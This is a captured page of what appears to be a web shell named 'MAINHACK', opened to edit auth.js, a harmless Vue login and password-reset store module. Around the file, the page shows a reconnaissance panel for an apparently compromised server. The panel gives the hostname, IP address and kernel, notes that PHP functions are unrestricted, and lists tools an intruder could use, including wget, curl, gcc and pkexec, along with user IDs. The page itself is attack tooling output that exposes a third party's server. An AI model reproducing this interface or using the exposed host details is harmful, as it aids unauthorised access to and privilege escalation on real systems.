[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: auth.js
import axios from 'axios' export const auth = { state: { authStatus: false, authToken: null, authBranchId: '', authInfo: {}, authMenu: [], resetInfo: { email: null }, authPermission: {}, authDefaultPermission: {}, authDefaultMenu:{} }, getters: { authStatus: function (state) { return state.authStatus; }, authToken: function (state) { return state.authToken; }, authBranchId: function (state) { return state.authBranchId; }, authInfo: function (state) { return state.authInfo; }, authMenu: function (state) { return state.authMenu; }, authPermission: function (state) { return state.authPermission; }, authDefaultPermission: function (state) { return state.authDefaultPermission; }, authDefaultMenu: function (state) { return state.authDefaultMenu; }, resetInfo: function (state) { return state.resetInfo; } }, actions: { login: function (context, payload) { return new Promise((resolve, reject) => { axios.post('auth/login', payload).then((res) => { context.commit('authLogin', res.data); resolve(res); }).catch((err) => { reject(err); }); }); }, authcheck: function (context, payload) { return new Promise((resolve, reject) => { axios.post('auth/authcheck', payload).then((res) => { if (res.data.status === false){ context.commit('authLogout'); }; resolve(res); }).catch((err) => { reject(err); }); }); }, logout: function (context) { return new Promise((resolve, reject) => { axios.post('auth/logout').then((res) => { context.commit('authLogout'); resolve(res); }).catch((err) => { reject(err); }); }); }, forgetPassword: function (context, payload) { return new Promise((resolve, reject) => { axios.post('auth/forgot-password', payload).then((res) => { context.commit('forgetPassword', payload); resolve(res); }).catch((err) => { reject(err); }); }); }, verifyCode: function (context, payload) { return new Promise((resolve, reject) => { axios.post('auth/forgot-password/verify-code', payload).then((res) => { resolve(res); }).catch((err) => { reject(err); }); }); }, resetPassword: function (context, payload) { return new Promise((resolve, reject) => { axios.post('auth/forgot-password/reset-password', payload).then((res) => { context.commit('resetPassword', res.data.token); resolve(res); }).catch((err) => { reject(err); }); }); }, updateAuthInfo: function (context, payload) { return new Promise((resolve, reject) => { if (context.state.authInfo.id === payload.id) { context.commit('authInfo', payload); resolve(payload); } else { reject('user data not match'); } }); }, GuestLoginVerify: function (context, payload) { return new Promise((resolve, reject) => { axios.post('auth/guest-signup/verify', payload).then((res) => { context.commit('authLogin', res.data); resolve(res); }).catch((err) => { reject(err); }); }); }, loginDataReset: function (context) { context.commit('authLogout'); } }, mutations: { authLogin: function (state, payload) { state.authStatus = true; state.authToken = payload.token; state.authBranchId = payload.branch_id; state.authInfo = payload.user; state.authMenu = payload.menu; state.authPermission = payload.permission; state.authDefaultPermission = payload.defaultPermission; state.authDefaultMenu = payload.defaultMenu; }, authLogout: function (state) { state.authStatus = false; state.authToken = null; state.authBranchId = ''; state.authInfo = {}; state.authMenu = []; state.authPermission = {}; state.authDefaultPermission = {}; state.authDefaultMenu = {}; }, forgetPassword: function (state, payload) { state.resetInfo = { email: payload.email } }, resetPassword: function (state) { state.resetInfo = { email: null } }, authInfo: function (state, payload) { state.authInfo = payload; } }, }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002